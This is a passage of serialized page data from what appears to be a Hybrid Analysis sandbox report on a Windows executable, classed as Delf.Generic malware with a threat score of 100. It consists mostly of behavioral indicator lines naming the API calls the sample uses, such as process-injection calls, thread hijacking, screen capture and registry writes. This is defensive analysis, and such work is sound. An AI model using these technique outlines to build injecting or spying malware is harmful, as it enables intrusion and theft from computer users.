24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 61:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4b9,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Delf.Generic Sample 805284df8dc6… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 805284df8dc6…. Malware family: Delf.Generic. Threat score 100/100. 18/28 AV engines flagged this file. 12 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189","keywords":["Malicious","Delf.Generic","malware analysis","sandbox report","threat intelligence","805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189"],"about":{"@type":"SoftwareApplication","name":"805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin","applicationCategory":["peexe","executable"],"identifier":"805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Delf.Generic","antivirusDetections":{"malicious":18,"total":28},"behavioralIndicators":{"malicious":12,"suspicious":14},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T9e8,Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp")26:T888,Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "OpenThread" (Indicator: "OpenThread"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00001512.00000000.227754.00A81000.00000004.mdmp, 00000000-00001512.00000000.227754.00A84000.00000004.mdmp, 00000000-00001512.00000001.229672.00A88000.00000004.mdmp, 00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp")27:Td84,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "SleepEx" (Indicator: "SleepEx"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; Source: "00000000-00001512.00000000.227754.00A81000.00000004.mdmp, 00000000-00001512.00000000.227754.00A84000.00000004.mdmp, 00000000-00001512.00000001.229672.00A88000.00000004.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00001512.00000000.227754.00A81000.00000004.mdmp, 00000000-00001512.00000000.227754.00A84000.00000004.mdmp, 00000000-00001512.00000001.229672.00A88000.00000004.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00001512.00000000.227754.00A81000.00000004.mdmp, 00000000-00001512.00000000.227754.00A84000.00000004.mdmp, 00000000-00001512.00000001.229672.00A88000.00000004.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00001512.00000000.227754.00A84000.00000004.mdmp, 00000000-00001512.00000001.229672.00A88000.00000004.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004220.00000000.227906.00FFE000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004220.00000000.227906.00FFE000.00000002.mdmp")28:T613,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001512.00000000.227754.00A81000.00000004.mdmp, 00000000-00001512.00000000.227754.00A84000.00000004.mdmp, 00000000-00001512.00000001.229672.00A88000.00000004.mdmp, 00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp")29:T445,Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "RegSetValueExW" (Indicator: "RegSetValue"; Source: "00000000-00004220.00000000.227906.00FFE000.00000002.mdmp") Found reference to API "RegRestoreKeyW" (Indicator: "RegRestoreKey"; Source: "00000000-00004220.00000000.227906.00FFE000.00000002.mdmp") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00004220.00000000.227906.00FFE000.00000002.mdmp") Found reference to API "RegFlushKey" (Indicator: "RegFlushKey"; Source: "00000000-00004220.00000000.227906.00FFE000.00000002.mdmp") Found reference to API "RegSetValueW" (Indicator: "RegSetValue"; Source: "00000000-00004220.00000000.227906.00FFE000.00000002.mdmp")2a:T966,"" (Indicator: "enumchildwindows"; Source: "00000000-00001120.00000000.227642.02C70000.00000004.mdmp") Found reference to API "SendMessageA" (Indicator: "sendmessage"; Source: "00000000-00001512.00000000.227754.00A84000.00000004.mdmp, 00000000-00001512.00000001.229672.00A88000.00000004.mdmp") Found reference to API "PostMessageW" (Indicator: "postmessage"; Source: "00000000-00001512.00000000.227754.00A84000.00000004.mdmp, 00000000-00001512.00000001.229672.00A88000.00000004.mdmp") Found reference to API "SendMessageW" (Indicator: "sendmessage"; Source: "00000000-00001512.00000000.227754.00A84000.00000004.mdmp, 00000000-00001512.00000001.229672.00A88000.00000004.mdmp") Found reference to API "FindWindowW" (Indicator: "findwindow"; Source: "00000000-00001512.00000000.227754.00A84000.00000004.mdmp, 00000000-00001512.00000001.229672.00A88000.00000004.mdmp") Found reference to API "EnumChildWindows" (Indicator: "enumchildwindows"; Source: "00000000-00001512.00000000.227754.00A84000.00000004.mdmp, 00000000-00001512.00000001.229672.00A88000.00000004.mdmp") Found reference to API "InSendMessage" (Indicator: "sendmessage"; Source: "00000000-00001512.00000000.227754.00A84000.00000004.mdmp, 00000000-00001512.00000001.229672.00A7B000.00000004.mdmp, 00000000-00001512.00000001.229672.00A88000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00001512.00000000.227754.03230000.00000004.mdmp, 00000000-00001512.00000001.229672.03230000.00000004.mdmp, 00000000-00001512.00000002.231593.03230000.00000004.mdmp")31:T22d4,"" (Indicator: "GetDC"; Source: "00000000-00001120.00000000.227642.02C70000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001120.00000000.227642.02C70000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00001120.00000000.227642.02C70000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001120.00000000.227642.02C70000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001120.00000000.227642.02C70000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00001120.00000000.227642.02C70000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00001120.00000000.227642.02C70000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00001120.00000000.227642.02C70000.00000004.mdmp") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; Source: "00000000-00001512.00000000.227754.00A84000.00000004.mdmp, 00000000-00001512.00000001.229672.00A88000.00000004.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00001512.00000000.227754.00A84000.00000004.mdmp, 00000000-00001512.00000001.229672.00A7B000.00000004.mdmp, 00000000-00001512.00000001.229672.00A88000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001512.00000000.227754.03230000.00000004.mdmp, 00000000-00001512.00000001.229672.03230000.00000004.mdmp, 00000000-00001512.00000002.231593.03230000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001512.00000000.227754.03230000.00000004.mdmp, 00000000-00001512.00000001.229672.03230000.00000004.mdmp, 00000000-00001512.00000002.231593.03230000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00001512.00000000.227754.03230000.00000004.mdmp, 00000000-00001512.00000001.229672.03230000.00000004.mdmp, 00000000-00001512.00000002.231593.03230000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001512.00000000.227754.03230000.00000004.mdmp, 00000000-00001512.00000001.229672.03230000.00000004.mdmp, 00000000-00001512.00000002.231593.03230000.00000004.mdmp")53:T71e,Found registry query API: "RegQueryValueExA" in file "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin" Found registry query API: "RegOpenKeyExA" in file "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin" Found registry query API: "RegOpenKeyExA" in "00000000-00001120.00000000.227642.002D7000.00000002.mdmp" Found registry query API: "RegQueryValueExA" in "00000000-00001120.00000000.227642.002D7000.00000002.mdmp" Found registry query API: "RegOpenKeyExA" in "00000000-00001512.00000002.231593.00A67000.00000002.mdmp" Found registry query API: "RegQueryValueExA" in "00000000-00001512.00000002.231593.00A67000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00004220.00000000.227906.00FFE000.00000002.mdmp" Found registry query API: "RegEnumValueW" in "00000000-00004220.00000000.227906.00FFE000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00004220.00000000.227906.00FFE000.00000002.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00004220.00000000.227906.00FFE000.00000002.mdmp" Found registry query API: "RegQueryInfoKeyW" in "00000000-00004220.00000000.227906.00FFE000.00000002.mdmp" Found registry query API: "RegSaveKeyExW" in "00000000-00004220.00000000.227906.00FFE000.00000002.mdmp" Found registry query API: "RegGetValueW" in "00000000-00004220.00000000.227906.00FFE000.00000002.mdmp" Found registry query API: "RegOpenKeyW" in "00000000-00004220.00000000.227906.00FFE000.00000002.mdmp" Found registry query API: "RegSaveKeyW" in "00000000-00004220.00000000.227906.00FFE000.00000002.mdmp" Found registry query API: "RegEnumKeyW" in "00000000-00004220.00000000.227906.00FFE000.00000002.mdmp" Found registry query API: "NtQueryKey" in "00000000-00004220.00000000.227906.00FFE000.00000002.mdmp"54:T45e,Found string "ystem.OfflineFiles.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00001120.00000000.227642.04FE0000.00000002.mdmp") Found string "ystem.Security.EncryptionOwners" (Indicator: ".encrypt"; Source: "00000000-00001120.00000000.227642.04FE0000.00000002.mdmp") Found string "ystem.Security.EncryptionOwnersDisplay" (Indicator: ".encrypt"; Source: "00000000-00001120.00000000.227642.04FE0000.00000002.mdmp") Found string "ystem.ZipFolder.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00001120.00000000.227642.04FE0000.00000002.mdmp") Found string "System.Security.EncryptionOwnersDisplay" (Indicator: ".encrypt"; Source: "00000000-00001512.00000001.229672.05C80000.00000002.mdmp") Found string "System.Security.EncryptionOwners" (Indicator: ".encrypt"; Source: "00000000-00001512.00000001.229672.05C80000.00000002.mdmp") Found string "System.OfflineFiles.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00001512.00000001.229672.05C80000.00000002.mdmp") Found string "System.ZipFolder.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00001512.00000001.229672.05C80000.00000002.mdmp")55:T60a,Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "FindFirstFileExA" (Indicator: "FindFirstFile"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "FindFirstFileExA" (Indicator: "FindFirstFile"; Source: "00000000-00001512.00000000.227754.00A81000.00000004.mdmp, 00000000-00001512.00000000.227754.00A84000.00000004.mdmp, 00000000-00001512.00000001.229672.00A88000.00000004.mdmp") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp")56:Tdb2,Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "3504656962,804,3121,,CreateToolhelp32Snapshot,kernel32.dll,"00:59:13.687",RX=0,PX=0" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00001120.00000000.227642.02C70000.00000004.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00001512.00000000.227754.00A81000.00000004.mdmp, 00000000-00001512.00000000.227754.00A84000.00000004.mdmp, 00000000-00001512.00000001.229672.00A88000.00000004.mdmp, 00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004220.00000000.227906.00FFE000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004220.00000000.227906.00FFE000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00004220.00000000.227906.00FFE000.00000002.mdmp")57:T65c,Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00001512.00000000.227754.00A81000.00000004.mdmp, 00000000-00001512.00000000.227754.00A84000.00000004.mdmp, 00000000-00001512.00000001.229672.00A88000.00000004.mdmp, 00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004220.00000000.227906.00FFE000.00000002.mdmp")58:Tebf,Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "SHGetSpecialFolderLocation" (Indicator: "SHGetSpecialFolderLocation"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00001120.00000000.227642.002D7000.00000002.mdmp") Found reference to API "SHGetSpecialFolderLocation" (Indicator: "SHGetSpecialFolderLocation"; Source: "00000000-00001120.00000000.227642.02C70000.00000004.mdmp") Found reference to API "SHGetSpecialFolderLocation" (Indicator: "SHGetSpecialFolderLocation"; Source: "00000000-00001512.00000001.229672.00A88000.00000004.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00001512.00000002.231593.00A67000.00000002.mdmp")59:T44c,Found reference to API "GetSystemMetrics" (Indicator: "GetSystemMetrics"; File: "805284df8dc6823ee977a4e4914b8ec5e2a6493038f8577428b39dcea8bad189.bin") Found reference to API "GetSystemMetrics" (Indicator: "GetSystemMetrics"; Source: 